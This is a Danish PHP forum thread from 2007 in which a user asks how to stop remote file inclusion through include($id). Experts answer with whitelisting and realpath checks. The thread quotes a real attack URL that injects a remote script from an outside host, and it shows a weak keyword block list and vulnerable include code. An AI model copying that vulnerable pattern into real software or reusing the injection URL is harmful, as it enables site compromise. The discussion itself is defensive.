Avatar billede pumba Nybegynder
23. januar 2007 - 18:20 Der er 7 kommentarer og
1 løsning

Include - sikring imod phishing og externe links.

Hvis man vil sikre PHP include statement imod eksterne links og (phishing), hvordan gøres dette bedst og optimalt ?

Sådan ser min PHP-kode ud - omkring include'n:

if (stristr($id, 'http') == TRUE) { exit("Hacking - STOP!!"); }
if (stristr($id, 'www') == TRUE) { exit("Hacking - STOP!!"); }
if (stristr($id, '//') == TRUE) { exit("Hacking - STOP!!"); }

include($id);

Meeeen - "sikringen" virker ikke.....

Hilfe!

:-)
Avatar billede erikjacobsen Ekspert
23. januar 2007 - 18:31 #1
Du kan fx sikre din mod denne form ved at anvende:  www.dinside.dom?id=2
og

  if ($id=='1') include('forside.php');
  if ($id=='2') include('links.php');
  if ($id=='3') include('kontakt.php');

Altså, groft sagt, aldrig bruge nogen form for user-input til en include.
Avatar billede coderdk Praktikant
23. januar 2007 - 18:44 #2
Jeg antager at scriptet er i roden af sitet, kan du muligvis bruge dette, og stadig være sikker på at der kun bliver inkluderet filer fra roden og "opefter":

$root = realpath(".");
$id = ( !empty( $_GET['id'] ) ? $_GET['id'] : '' );
$pth = realpath( $root . "/" . $id );
if ( substr( $pth, 0, strlen( $root ) ) != $root )
{
  die( "Det tror jeg ikke..." );
}
include( $pth );
Avatar billede pumba Nybegynder
24. januar 2007 - 20:10 #3
Jeg forstår det med user-input - men det betyder så at menu'en skal vedligehold flere steder - det vil give et utroligt stort mer-arbejde. Så nok er den sikker, men ikke godt vedligeholdelses-mæssigt. Så denne løsning har jeg haft tidligere, men fjernet,
da det ikke er hensigtmæssigt.

Omkring realpath etc. - så jeg har prøvet denne. Men jeg kan ikke få den til at virke :-(

Har andre nogle forslag ??
Avatar billede erikjacobsen Ekspert
24. januar 2007 - 20:16 #4
Menuen skal i givet fald vedligeholdes i een include-fil. Jeg siger ikke det er den eneste måde, men du har total afkobling mellem userinput og dit filsystem/etc
Avatar billede pumba Nybegynder
24. januar 2007 - 20:56 #5
Hej igen

Uhm. Jeg har forsøgt at indlægge nogle test på "strengen" - de fanges rigtig nok i
browseren!!!!!!!!!!!!, men det stopper åbenbart ikke imod phishing filer fra "andre steder":

http://www.xxx.dk/index.php?id=http://p10.hostingprod.com/@jplant-1.com/jplant.txt?"

???

if (stristr($id, 'http') == TRUE) { exit("STOP!!."); }
include($id);
Avatar billede pumba Nybegynder
31. januar 2007 - 07:54 #6
Jeg havde en forventning om, at man kunne teste på om "include-filen" overholder 2 krav:

* dels skal den forefindes på EGEN server
* dels skal den findes i den aktuelle folder (eller anden navngivet)
Avatar billede pumba Nybegynder
31. januar 2007 - 07:57 #7
okey
Avatar billede coderdk Praktikant
31. januar 2007 - 09:11 #8
Min opfylde begge krav, så længe du ikke bruger http:// - Det er der jo heller ingen grund til, eftersom det er på samme server.
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Vi tilbyder markedets bedste kurser inden for webudvikling

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester